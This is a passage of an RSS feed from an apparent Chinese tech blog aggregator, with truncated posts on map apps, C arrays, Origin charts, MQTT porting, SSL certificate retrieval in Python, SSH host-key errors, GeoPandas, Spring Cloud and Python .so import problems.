的经验来看红色可能会更靠谱一点。&#xA;好了我们看完了导航规划之后，再看一下两个地图他们对于城区的记录详细程度，高德对于同一个小区同样的放大程度可以看到小区里面的栋数比较详尽，小区的内部道路也画的很详细，而百度在这一块就会弱一点，小区栋与栋之间的道路，包括一些回旋路都没有了，但是他有一个优点，对于商户的记录更详尽，从这里可以看出来百度做生意貌似比高德更厉害一点。&#xA;我们看完城区同样的我们再来看一下乡下，这个是喵哥很熟悉的一个农村，左边的高德地图对于农村的道路规划还是比较详尽了，包括农村后面山上的一些小路它都进行规划了，同时目前在河边上正在建的这条路确实是处于在建状态，最关键是高德地图这里有一条明显的小河，而百度地图没有，这作为地图是不应该出现的一些失误，同时对于村庄的位置的描述高德地图会更为准确，而百度地图更为大概，所以这一点从喵哥个人平时使用的情况来看，高德对于农村道路规划比百度会更为详尽一点。&#xA;我们再来看一下卫星地图，同样是找了一个学校校区的卫星地图对比来看，其实他们调用的是同一版卫星地图，但是高德把地图做的比较模糊，基本上看不到停车场的车，而百度的地图放大之后可以数清楚停车场上有几台车而且建筑物的轮廓明显，这点补充可以在关键时候帮上我们大忙。&#xA;最后一点就实景地图，百度花了很大的精力在实景地图上面，实时采集和更新了很多城区，包括一些乡村的一些实景地图，假如说在城里面要去个陌生的地方，喵哥一般会打开百度的实景地图看一下，提前预判提前了解，在这点上高德地图跟百度地图它是没有可比性的，高德功能压根就没有。&#xA;通过以上的对比大家可以发现对于路线的精准度方面，个人感觉可能高得会略占一筹，同时在路线的更新上面高德的速度会比百度更快，所以说要是去一些农村里或者偏远地方高德会比百度略微有优势，但是百度还有一个很大的优势就是实景地图，尤其是在城区的实景地图还是做得非常好用，同时在生活的方便性方面，比如说一些吃喝玩乐的信息方面，百度可能会更有优势，以上就是喵哥给大家做出的总结，希望喵哥的个人使用体验能够给大家一些参考建议。</description>
    </item>
    <item>
      <title>C语言中数组首地址和数组第一个元素的地址有什么区别</title>
      <link>https://bchobby.github.io/posts/e7eba6cfc732eea681c6fce68ad4e82a/</link>
      <pubDate>Tue, 15 Dec 2020 16:53:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7eba6cfc732eea681c6fce68ad4e82a/</guid>
      <description>C语言中数组首地址和数组第一个元素的地址关系如下：&#xA;1、它们的地址值是相等的。&#xA;2、第1个元素的地址如果是p，则p+1就是第2个元素的地址。&#xA;3、数组的首地址如果是p，则p+1就跳过这个数组而指向这个数组最后一个元素最后一个字节的下一字节。&#xA;参考：https://zhidao.baidu.com/question/581103677.html</description>
    </item>
    <item>
      <title>visual studio 2019安装后添加工作负载</title>
      <link>https://bchobby.github.io/posts/ec55d28d9fd2243360ad8054ba038eb3/</link>
      <pubDate>Tue, 15 Dec 2020 14:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec55d28d9fd2243360ad8054ba038eb3/</guid>
      <description>1、启动visual studio 2019&#xA;2、如下图选中工具-获取工具和功能&#xA;3、点击工作负载-勾选要添加的负载—点击修改&#xA;4、等待安装</description>
    </item>
    <item>
      <title>echart多个柱状图 设置y轴显示_【软件应用】怎样把多组拟合柱状图，画在3D瀑布图中？...</title>
      <link>https://bchobby.github.io/posts/ad36539bfafcade89286c5b27e4156af/</link>
      <pubDate>Tue, 15 Dec 2020 10:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad36539bfafcade89286c5b27e4156af/</guid>
      <description> ORIGIN教程 【导读】西南交大的王博士提问：怎样绘制拟合柱图的3D瀑布图？有三组柱图及其拟合曲线，我们通常绘制出2D的柱线图(图1a)，怎样将三组拟合的柱状图绘制在一张3D瀑布图中，大多数同学可能绘制出图1b~d的效果，无论怎样设置，都不能将拟合曲线跟柱子拼在一起。 图1谭编尝试了双矩阵叠加绘制出图1e，一个采用3D柱图，一个采用3D散点图。由于矩阵要求严格的XY行列矩阵，要求两个矩阵XY严格对应，而拟合曲线是1000行数据，柱状图的行数约24行，在统一转成矩阵后，拟合曲线就被压缩为24个散点。最后，将绘图方案确定为图1f，今天就推出图1f的origin教程。 1. 软件版本本教程采用Origin9.5(2018C)，适合2018版以上版本。 2. 数据结构准备数据表结构为XYXYXY型，每个样品(柱图+拟合)共4列数据(AB为柱状图数据，CD为拟合数据)，共3个样品(如图2)。注释行依据不同样品名称编排。本教程提供“练习文件”，文末有下载方式。选择数据，点击下方工具栏“Z数据颜色映射3D瀑布图”，可以得到一字排开的瀑布图。 图2 3. 绘制修改3D瀑布图 要想将柱状图和拟合曲线堆叠在一起，我们需要将两者按照“注释”分组。具有相同注释文本的数据列将被分在同一组。 3.1 建立分组双击前述绘制的瀑布图中的曲线，在“组”标签页，选择“按列标签”-“注释”分组，具体步骤如图3。 图3 3.2 按分组“堆叠”曲线如图4，点击左边“Layer1”图层1，再点击“堆叠”选项页，选中“累积”，勾选“对使用“累积”……“分组”设置”，最后点击“确定”。 图4得到的曲线已经按照注释分组堆叠了，但是已经超出坐标系范围，需要一键调整(图5)。 图5得到的图中，拟合曲线在0附近出现了异常(图6)，我们可以调整X轴范围，将0改为“2E15”(即1×10^15)，避免这个异常。 图6 3.3 修改3D柱条图经过上述操作，得到了3组(每组2条)曲线，怎样将其中一条改为柱条图？双击曲线，在弹窗中，将左下方的类型改为“3D柱条图”(图7) 图7得到下图效果： 图8 4. 图文格式的修改 4.1 柱条颜色映射的修改双击上图的柱条，在弹窗的“组”选项页中，对“填充颜色”和“边框颜色”进行相同的设置，将“增量”改为“分格”，将“细节”的颜色改为七彩色(色号：Q03)，点击右边三个点点“…”选择橙、黄、绿或者其他颜色顺序，保持边框色与填充色的顺序一致。 图9 4.2 刻度值的修改横轴刻度值类似“2.00E+016”这种科学记数法表达式，显得繁杂，我们可以将刻度值除以10^16，与横轴标题中的单位一致(图10)。 图10 4.3 刻度标签的修改右侧的Z轴一般是三个样品的样品名称，双击刻度值“Frequency”，按照列名或标签，选择“注释”(图11)。 图11 4.4 刻度的修改上图中Z轴主刻度只有1个，双击Z轴，将主刻度按增量0.33设置，且第一个刻度位置为“1”，确定后，即可得到三个主刻度(图12)。 图12 4.5 自定义刻度标签由于分组重排，Z轴刻度标签的文本不再按照“注释”内容布局。多数同学就困扰在这个地方了，一般删除标签文本，手动添加文本，当然这个办法能解决问题。双击Z轴刻度标签，弹窗中将“显示-类型”改为“刻度索引字符串”，在“字符串”中输入三个样品的名称(用空格隔开，如果名称中有空格，则需要用引号)，具体步骤如图13所示。 图13如果要将图13中Z轴刻度的标签文本旋转，跟Z轴平行，则需要按下图步骤操作(图14)。 图14得到下图的效果 图15图15中，Y轴不是从0开始的，所以图中柱子比较高，我们需要将Y轴最小刻度改为0。双击Y轴刻度，弹窗中Scale最小值改为0(图16)。 图16得到下图的效果。 图17 4.6 3D瀑布图底面颜色的修改双击底面，点击“平面”选项页，修改ZX面(底面)颜色。当然也可以修改另外两个面的颜色。 图18最终得到下图的效果。 声明：壹砼壹世界使用的图片、音频、视频，来源于互联网。如有侵权，请后台联系删除。壹砼壹世界感谢你的关注。壹砼壹世界，带你在建材的天空中翱翔。 </description>
    </item>
    <item>
      <title>杰里之静电处理方法【篇】</title>
      <link>https://bchobby.github.io/posts/55cc4d283c589a36878ab97dfa4867f9/</link>
      <pubDate>Tue, 15 Dec 2020 08:46:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55cc4d283c589a36878ab97dfa4867f9/</guid>
      <description>1）摸底测试 所谓摸底测试，就是设计好的 PCB 板子，贴好片后的 PCBA，不加入 ESD 管子的情况下，进行静电枪 打击测试，测试本 PCBA 的抗 ESD 水平，这个期间多测试几个 PCBA 板子。蓝牙耳机的静电测试，看 ESD 后的蓝牙距离效果即可。 这个步骤是很重要的，对我们下一步的整改起到指导作用。</description>
    </item>
    <item>
      <title>python 指定证书验证_Python通过OpenSSL获取指定域名对应的SSL证书</title>
      <link>https://bchobby.github.io/posts/dc27889769d6c537d48477cf99721e7a/</link>
      <pubDate>Mon, 14 Dec 2020 23:49:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc27889769d6c537d48477cf99721e7a/</guid>
      <description>同一台服务器上配置了不同的虚拟主机域名证书也可以获取到，直接上代码了：&#xA;def get_certificate(hostname, port):&#xA;import idna&#xA;from socket import socket&#xA;from OpenSSL import SSL&#xA;sock = socket()&#xA;# sock.settimeout(10) # 不要开启&#xA;sock.setblocking(True) # 关键。。&#xA;sock.connect((hostname, port), )&#xA;ctx = SSL.Context(SSL.SSLv23_METHOD)&#xA;ctx.check_hostname = False&#xA;ctx.verify_mode = SSL.VERIFY_NONE&#xA;sock_ssl = SSL.Connection(ctx, sock)&#xA;sock_ssl.set_tlsext_host_name(idna.encode(hostname)) # 关键: 对应不同域名的证书&#xA;sock_ssl.set_connect_state()&#xA;sock_ssl.do_handshake()&#xA;cert = sock_ssl.get_peer_certificate()&#xA;sock_ssl.close()&#xA;sock.close()&#xA;return cert&#xA;for u in [&#39;https://www.baidu.com/&#39;, &#39;https://mp.weixin.qq.com/&#39;, &#39;https://www.qq.com/&#39;]:&#xA;from urllib import parse&#xA;rs = parse.urlparse(u)&#xA;cert = get_certificate(rs.hostname, int(rs.</description>
    </item>
    <item>
      <title>element——弹窗</title>
      <link>https://bchobby.github.io/posts/d6a3a1d4d7dc4cee9cd6db194cc8a67e/</link>
      <pubDate>Mon, 14 Dec 2020 22:41:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6a3a1d4d7dc4cee9cd6db194cc8a67e/</guid>
      <description>本来以为弹窗挺简单的，结果自己想多了。这几天的使用碰到了好多问题。&#xA;在组件中使用弹窗 &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;open=true&#34;&amp;gt;打开弹窗&amp;lt;/el-button&amp;gt; &amp;lt;test :visible.sync=&#34;open&#34; :table=&#34;tableData&#34;&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //定义组件 Vue.component(&#39;test&#39;,{ template:` &amp;lt;el-dialog title=&#34;收货地址&#34; :visible.sync=&#34;visible&#34; @close=&#34;clone&#34;&amp;gt; &amp;lt;el-table :data=&#34;table&#34;&amp;gt; &amp;lt;el-table-column property=&#34;date&#34; label=&#34;日期&#34; width=&#34;150&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;name&#34; label=&#34;姓名&#34; width=&#34;200&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;address&#34; label=&#34;地址&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/el-dialog&amp;gt; `, props:{ //visible父组件传给子组件的值，控制是否显示弹窗 visible:{ type:Boolean, default:false }, table:{ type:Object, default:()=&amp;gt;{ return {} } } }, methods:{ clone(){ this.$emit(&#39;update:visible&#39;,false) } } }) new Vue({ el:&#39;#app&#39;, data:{ //是否打开弹窗 open:false, tableData:[{ date:&#39;2020-10-01&#39;, name:&#39;张三丰&#39;, address:&#39;武当山&#39; }] } }) 注意点：</description>
    </item>
    <item>
      <title>MQTT移植笔记及源码分析（基于w601）</title>
      <link>https://bchobby.github.io/posts/86caaf76e3fcef7650c9cbdcb4b50183/</link>
      <pubDate>Mon, 14 Dec 2020 20:18:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86caaf76e3fcef7650c9cbdcb4b50183/</guid>
      <description>一、MQTT嵌入式源码获取 MQTT官方源码地址：https://os.mbed.com/teams/mqtt/code/MQTTPacket/&#xA;eclipse源码地址：https://github.com/eclipse/paho.mqtt.embedded-c&#xA;eclipse源码中包含linux和freertos的移植文件，使用起来比较方便。&#xA;二、mqtt源码移植需要实现的函数接口 mqtt移植需要实现的函数接口主要有两类，一类是倒计时相关的接口函数，一类是网络连接相关的函数。&#xA;typedef struct Timer_{ struct timeval end_time; }Timer; void TimerInit(Timer*); //初始化时间 char TimerIsExpired(Timer*);//判断时间是否用尽 void TimerCountdownMS(Timer*, unsigned int);//以ms为单位进行倒计时 void TimerCountdown(Timer*, unsigned int);//以秒为单位进行倒计时 int TimerLeftMS(Timer*);//查看倒计时剩余时间 网络相关的接口函数&#xA;int linux_read(Network*, unsigned char*, int, int);//读socket数据 int linux_write(Network*, unsigned char*, int, int);//向socket写数据 void NetworkInit(Network*);//网络初始化 int NetworkConnect(Network*, char*, int);//连接mqtt服务器 void NetworkDisconnect(Network*);//断开socket连接 三、移植踩过的坑 3.1、tcp recv返回ENOTCONN和EAGAIN错误 初次移植好mqtt之后，mqtt连接上服务器大约20s左右，recv函数就会报ENOTCONN，后来才发现mqtt心跳开关c-&amp;gt;keepAliveInterval为0。在keepalive函数中，如果这个值为0，系统是不会向服务器发送心跳包的。修改c-&amp;gt;keepAliveInterval的值即可；EAGAIN是因为recv超时，属于正常情况，这时linux_read需要返回0； 3.2、mqtt订阅消息回调打印消息内容时间太长 出现这个问题的主要原因是w601的printf函数在mqtt的回调函数中使用有问题，导致系统在topic的回调函数中停留了5s左右的时间，使用rtthread内容的rt_kprintf函数可以避免这个问题。 3.3、发布qos大于0的消息时，publish函数经常返回-1 这时因为我在主函数中有如下代码：&#xA;while (!toStop) { MQTTYield(&amp;amp;c, 1000);//轮训接收和处理mqtt消息&#x9;} MQTTYield会不停的调用lwip的recv函数读取网络中的消息，,如果qos大于0，publish函数会调用waitfor等待服务器的回复，而waitfor中也会调用lwip的recv函数等待网络消息，这就会产生两个线程同时访问同一个socket的问题。这个问题的解决方法有很多，比如可以使用mqtt源码本身提供的加锁功能，也可以修改源码，使用队列或邮箱的方式通知publish的结果。&#xA;3.4、源码本身存在一些bug 源码在处理mqtt的ping消息回复时，每一次调用MQTTYield都会检查服务器是否回复了ping消息。有时候因为网络不好等因素，服务器回复ping包的时间会大于一次MQTTYield的时间，这时代码中会认为ping失败，而实际上这种情况属于正常现象。解决办法是对源代码的几处代码进行简单的修改即可。 四、MQTT源代码分析 首先我们看下官方提供的基于linux的例程，此处省略了部分无关代码： Network n; MQTTClient c; NetworkInit(&amp;amp;n);//初始化mqtt客户端的网络参数 NetworkConnect(&amp;amp;n, opts.</description>
    </item>
    <item>
      <title>如何通过Anaconda创建虚拟环境</title>
      <link>https://bchobby.github.io/posts/4c453f07801f1e94649f0d84828947fc/</link>
      <pubDate>Mon, 14 Dec 2020 19:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c453f07801f1e94649f0d84828947fc/</guid>
      <description>做深度学习的同学们应该都受到配置环境的困扰（我也是饱受摧残）本文介绍几个踩过的坑。 在anaconda下创建一个虚拟环境 文件名为’pytorch’,python版本是 3.8 conda create -n pytorch python=3.8 在目录 ‘/home/YHT/anaconda3/envs/’可以找到该文件夹2.进入刚出创建的环境每次跑深度学习代码都要进入对应的环境 conda activate pytorch 3.使用清华镜像源 安装 pytorch&#xA;清华镜像源安装pytorch&#xA;4 退出Anaconda虚拟环境&#xA;conda deactivate 5.Anaconda 环境下安装各种包&#xA;anaconda配置包&#xA;大多数情况是可以用 pip install （你需要的包的名字）或 pip3 install但有时不好用，这样就借助anaconda环境 conda list #列出你的python所对应的包 conda install （你的包名称） 注意：可以要重复好多次 conda install pytorch torchvision torchaudio cudatoolkit=10.1,进度条拉满了就不用管了。&#xA;如果很慢，或总是失败就是用 pip安装&#xA;enjoy~</description>
    </item>
    <item>
      <title>创建自定义控件Kotlin.Android</title>
      <link>https://bchobby.github.io/posts/6c89a01e7181cf0f81bd58b61cdd1d9f/</link>
      <pubDate>Mon, 14 Dec 2020 18:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c89a01e7181cf0f81bd58b61cdd1d9f/</guid>
      <description>创建自定义控件 自定义控件代码 其实就是把这段代码加载到了主活动里&#xA;inflate(R.layout.title,this)//获取布局&#xA;//第一个参数加载布局id 第二个参数父布局&#xA;button.setOnClickListener{//操作布局按钮&#xA;val activity=context as Activity//那个活动转为当前活动&#xA;activity.finish()//关闭这个活动&#xA;}&#xA;button1.setOnClickListener {//操作布局按钮&#xA;Toast.makeText(context,&#34;怎么了&#34;,Toast.LENGTH_SHORT).show()&#xA;}&#xA;LayoutInflater.from(context)就是在当前活动创建了对象&#xA;package com.example.uilayout import android.app.Activity import android.content.Context import android.util.AttributeSet import android.view.LayoutInflater import android.widget.LinearLayout import android.widget.Toast import kotlinx.android.synthetic.main.title.view.* //context那个活动 class TitleLayout(context:Context,attrs:AttributeSet):LinearLayout(context,attrs ) { init { //那个活动创建一个LayoutInflater对象inflate LayoutInflater.from(context).inflate(R.layout.title,this)//获取布局 //第一个参数加载布局id 第二个参数父布局 button.setOnClickListener{//操作布局按钮 val activity=context as Activity//那个活动转为当前活动 activity.finish()//关闭这个活动 } button1.setOnClickListener {//操作布局按钮 Toast.makeText(context,&#34;怎么了&#34;,Toast.LENGTH_SHORT).show() } } } xml文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:background=&#34;#E12525 &#34;&amp;gt; &amp;lt;Button android:layout_width=&#34;</description>
    </item>
    <item>
      <title>SHA256:FlR9BwwrmAxEX7QaQZMv1ejf8l0kwHvSzFlzqu8/VYM. Please contact your system administrator. Add co</title>
      <link>https://bchobby.github.io/posts/fa0d5e26172a5fcf8a20bcf5458a894b/</link>
      <pubDate>Mon, 14 Dec 2020 10:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa0d5e26172a5fcf8a20bcf5458a894b/</guid>
      <description>项目场景： 之前一直用linux ssh连接服务器，今天因为需要用windows 连接服务器&#xA;问题描述： window 终端ssh 命令连接服务器&#xA;ssh admin@192.168.3.1&#xA;出现如下错误：&#xA;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the RSA key sent by the remote host is SHA256:FlR9BwwrmAxEX7QaQZMv1ejf8l0kwHvSzFlzqu8/VYM. Please contact your system administrator.</description>
    </item>
    <item>
      <title>python函数五要素_GeoPandas入门 | 01-地理数据介绍</title>
      <link>https://bchobby.github.io/posts/5575309a6085181f35e1ed4050bb8f55/</link>
      <pubDate>Mon, 14 Dec 2020 09:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5575309a6085181f35e1ed4050bb8f55/</guid>
      <description>01-地理数据介绍&#xA;源代码请看此处&#xA;1.1 Python地理空间矢量数据简介&#xA;%matplotlib inline&#xA;import pandas as pd&#xA;import geopandas&#xA;导入地理数据&#xA;地理空间数据通常可以从特定的GIS文件格式或数据存储中获得，如ESRI shapefiles、GeoJSON文件、geopackage文件、PostGIS(PostgreSQL)数据库、...&#xA;我们可以使用GeoPandas库中的geopandas.read_file函数，来读取其中的很多GIS文件格式(依靠的是fiona库，它是GDAL/OGR的python接口)。&#xA;例如，我们先读取一个包含世界所有国家边界的shapefile文件，zip文件放到在/data目录下)。&#xA;countries=geopandas.read_file(&#34;zip://data/ne_110m_admin_0_countries.zip&#34;)&#xA;countries.head()&#xA;featureclascalerankLABELRANKSOVEREIGNTSOV_A3ADM0_DIFLEVELTYPEADMINADM0_A3...NAME_KONAME_NLNAME_PLNAME_PTNAME_RUNAME_SVNAME_TRNAME_VINAME_ZHgeometry0Admin-0 country16FijiFJI02Sovereign countryFijiFJI...피지FijiFidżiFijiФиджиFijiFijiFiji斐濟MULTIPOLYGON (((180.00000 -16.06713, 180.00000...1Admin-0 country13United Republic of TanzaniaTZA02Sovereign countryUnited Republic of TanzaniaTZA...탄자니아TanzaniaTanzaniaTanzâniaТанзанияTanzaniaTanzanyaTanzania坦桑尼亚POLYGON ((33.90371 -0.95000, 34.07262 -1.05982...2Admin-0 country17Western SaharaSAH02IndeterminateWestern SaharaSAH...서사하라Westelijke SaharaSahara ZachodniaSaara OcidentalЗападная СахараVästsaharaBatı SahraTây Sahara西撒哈拉POLYGON ((-8.66559 27.65643, -8.66512 27.58948...3Admin-0 country12CanadaCAN02Sovereign countryCanadaCAN...캐나다CanadaKanadaCanadáКанадаKanadaKanadaCanada加拿大MULTIPOLYGON (((-122.84000 49.00000, -122.9742...4Admin-0 country12United States of AmericaUS112CountryUnited States of AmericaUSA...미국Verenigde Staten van AmerikaStany ZjednoczoneEstados UnidosСоединённые Штаты АмерикиUSAAmerika Birleşik DevletleriHoa Kỳ美国MULTIPOLYGON (((-122.</description>
    </item>
    <item>
      <title>python进行数组合并的方法</title>
      <link>https://bchobby.github.io/posts/d7b415d94453ead8f73de7a76b6cc623/</link>
      <pubDate>Mon, 14 Dec 2020 08:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7b415d94453ead8f73de7a76b6cc623/</guid>
      <description>python的数组合并在算法题中用到特别多，这里简单总结一下：&#xA;假设有a1和a2两个数组：&#xA;a1=[1,2,3]&#xA;a2=[4,5,6]&#xA;合并方式 1. 直接相加&#xA;#合并后赋值给新数组a3 a3 = a1 + a2 2. extend&#xA;#调用此方法，a1会扩展成a1和a2的内容 a1.extend(a2) 3. 列表表达式&#xA;#先生成新的二维数组 a3 = [a1, a2] #列表推导形成新的数组 a4 = [ y for a in a3 for y in a ] 合并性能 下面分别测试下三种数组合并方式的性能&#xA;import time a1=range(100000000) a2=range(100000000) start=time.time() new_a = a1 + a2 end=time.time() cost = end - start print cost a1=range(100000000) a2=range(100000000) start=time.time() a1.extend(a2) new_a = a1 end=time.time() cost = end - start print cost a1=range(100000000) a2=range(100000000) a3=[a1,a2] start=time.</description>
    </item>
    <item>
      <title>SpringCloud Alibaba组件使用简单流程</title>
      <link>https://bchobby.github.io/posts/f82783e98e348742a509dcc8d4d2af8c/</link>
      <pubDate>Sun, 13 Dec 2020 20:21:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f82783e98e348742a509dcc8d4d2af8c/</guid>
      <description>一、Nacos注册中心 SpringCloud Alibaba-Nacos:注册中心(服务发现/注册)&#xA;使用方法 ：&#xA;1、首先引用Nacos相关依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2、注册中心 （下载Nacos服务器文件、启动）&#xA;3、在properties文件里配置注册中心的地址&#xA;spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 #将服务注册到注册中心 暴露服务的端口 ip 4、启动类 注解开启注册中心&#xA;@SpringBootApplication @EnableDiscoveryClient #开启注册中心 在Nacos可视化 界面 可以看到注册的服务名称（服务注册到服务中心）&#xA;二、Feign远程调用 SpringCloud- Feign:声明式HTTP客户端(调用远程服务)&#xA;简介:&#xA;远程调用别的服务 Feign是一个声明式的Http客户端，让远程调用更加简单。&#xA;Feign整合了Ribbon(负载均衡)和Hystrix（服务熔断）。 只需要创建一个接口并用注解的方式来配置，即可完成对服务提供方的接口绑定。&#xA;使用方法 ：&#xA;1、首先引用Feign相关依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-openfeign&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2、开启Feign 远程调用功能&#xA;@EnableFeignClients 3、编写一个接口 告诉SpringCloud 这个接口需要调用远程服务(一般来说写在调用者服务)&#xA;4、接口：@FeigClint(“需调用服务 注册中心的服务名”)&#xA;三、Nacos配置中心 SpringCloud Alibaba-Nacos:配置中心 使用流程: 1、引入依赖 Nacos Config Starter &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-config&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2、创建bootstrap.properties&#xA;spring.application.name=nacos-config-example #当前 应用的服务名称 spring.cloud.nacos.config.server-addr=127.0.0.1:8848 #配置中心的服务地址 3、给配置中心默认添加一个数据集 (DataId) 默认规则 应用名.</description>
    </item>
    <item>
      <title>python import找不到so库的可能原因</title>
      <link>https://bchobby.github.io/posts/df3f25d2f8b2826828080a2a06d2d1b8/</link>
      <pubDate>Sun, 13 Dec 2020 11:50:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df3f25d2f8b2826828080a2a06d2d1b8/</guid>
      <description>gen&#xA;在import一个so库里的类或函数时，有时发现so文件分明就在那路径下，可是总是报错ModuleNotFoundError: No module named ***，这种错误的可能原因有:&#xA;1.首先要确保so所在的路径已经包含在sys.path里了，如果so所在目录已经是在python默认的系统路径里，例如/usr/lib/python3.6/dist-packages/或者/usr/local/lib/python3.6/dist-packages/之下的任何层级的目录，不用做任何设置，如果是其他路径，可以通过设置PYTHONPATH或者程序里使用sys.path.insert()或sys.path.append()把路径添加到sys.path里来。&#xA;2.路径包含正确了，检查so库的命名的前缀和import是否不一致，这种so库的命名是有一定规则的，例如，Linux上一般是&amp;lt;so_name&amp;gt;.cpython-&amp;lt;python-version&amp;gt;-&amp;lt;cpu-platform&amp;gt;-linux-gnu.so，在import时指定的名字需要和&amp;lt;so_name&amp;gt;保持一致。&#xA;3.命名正确了，检查后面的后缀cpython-&amp;lt;python-version&amp;gt;-&amp;lt;cpu-platform&amp;gt;-linux-gnu.so是否在你当前使用的python版本的支持范围内，例如，你的so库是python3的，可你在误操作下在使用python2运行程序，或者你的so库是针对python3.5的(so后缀里的python-version=35m)，但你当前使用的是python3.6，也不行，所以如果不是在只安装了一种版本的python的环境里，运行python程序前，最好检查一下python版本是否是你所希望的，这个是在安装了多个版本的python的环境下或者升级了python版本后经常不经意下易犯的错误，有时还被坑浪费很多时间查找原因，除了so库分明在那里却总是报ModuleNotFoundError，还有其他七七八八奇怪的错误，查找原因最后发现是python版本用错了，气得血冲脑门。&#xA;怎么确认你当前使用的python版本支持哪些后缀的库能被import呢，很简单，执行下面的代码:&#xA;import importlib.machinery print(importlib.machinery.all_suffixes()) Windows下输出的示例：&#xA;Linux下输出的示例:&#xA;arm64 arch:&#xA;x86_64 arch:&#xA;4.路径存在冲突，so分明在某个已包含的目录下存在，没有其他的错误，可还总是报错ModuleNotFoundError，这种情况也是很坑人的，花费了很久时间想不出原因来，就是没想到可能路径上存在重名的冲突，例如，我第一次使用python代码调用mediapipe时出现报错ModuleNotFoundError: No module named &#39;mediapipe.python._framework_bindings&#39;，其他什么错误原因都没发现，郁闷地熬夜，最后发现虽然/usr/local/lib/python3.6/site-packages/mediapipe/python/_framework_bindings.cpython-36m-x86_64-linux-gnu.so是存在的，但是在运行程序的工作目录下也有个使用过用来build出meaidpipe的wheel包的源码目录，由于当前工作目录加入了sys.path里最前面，于是python搜索路径时自然是优先找的/workspace/mediapipe/python/...，这个下面确实是没有那个so文件，于是把这里的mediapipe目录改名或者移走，问题就消失了。&#xA;5.最后，如果是自己实现的so库，要想能被python import，so库的内部实现按规范来。&#xA;例如，使用g++编译代码的话要必须使用extern &#34;C&#34;限制编译生成的名字不会被改变，对要import的函数需要以对应的initxxx()来命名(使用g++编译时会把函数名字增加前后缀导致函数名被改变，编译出来的so被python import 时，会报类似下面的错误&#xA;ImportError: dynamic module does not define init function (initmyModule) )，https://csl.name/post/c-functions-python/这里有个很简单好懂的例子(注意里面是使用gcc编译的，所以没有加extern &#34;C&#34;约束，另外对于这种so库的编译，除了加-shared参数，最好加上-fPIC参数以去掉位置依赖,更多规则可参考python文档，例如https://docs.python.org/3.6/extending/extending.html):&#xA;from myModule import *&#xA;#include &amp;lt;Python.h&amp;gt; /* * Function to be called from Python */ static PyObject* py_myFunction(PyObject* self, PyObject* args) { char *s = &#34;Hello from C!&#34;; return Py_BuildValue(&#34;</description>
    </item>
    <item>
      <title>手机拨出等待时间长_华为手机拨号键还有这么神奇的功效，现在才知道！真是涨知识了...</title>
      <link>https://bchobby.github.io/posts/e4d1fd7f70482483fe2dd4c874edee1f/</link>
      <pubDate>Sun, 13 Dec 2020 11:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4d1fd7f70482483fe2dd4c874edee1f/</guid>
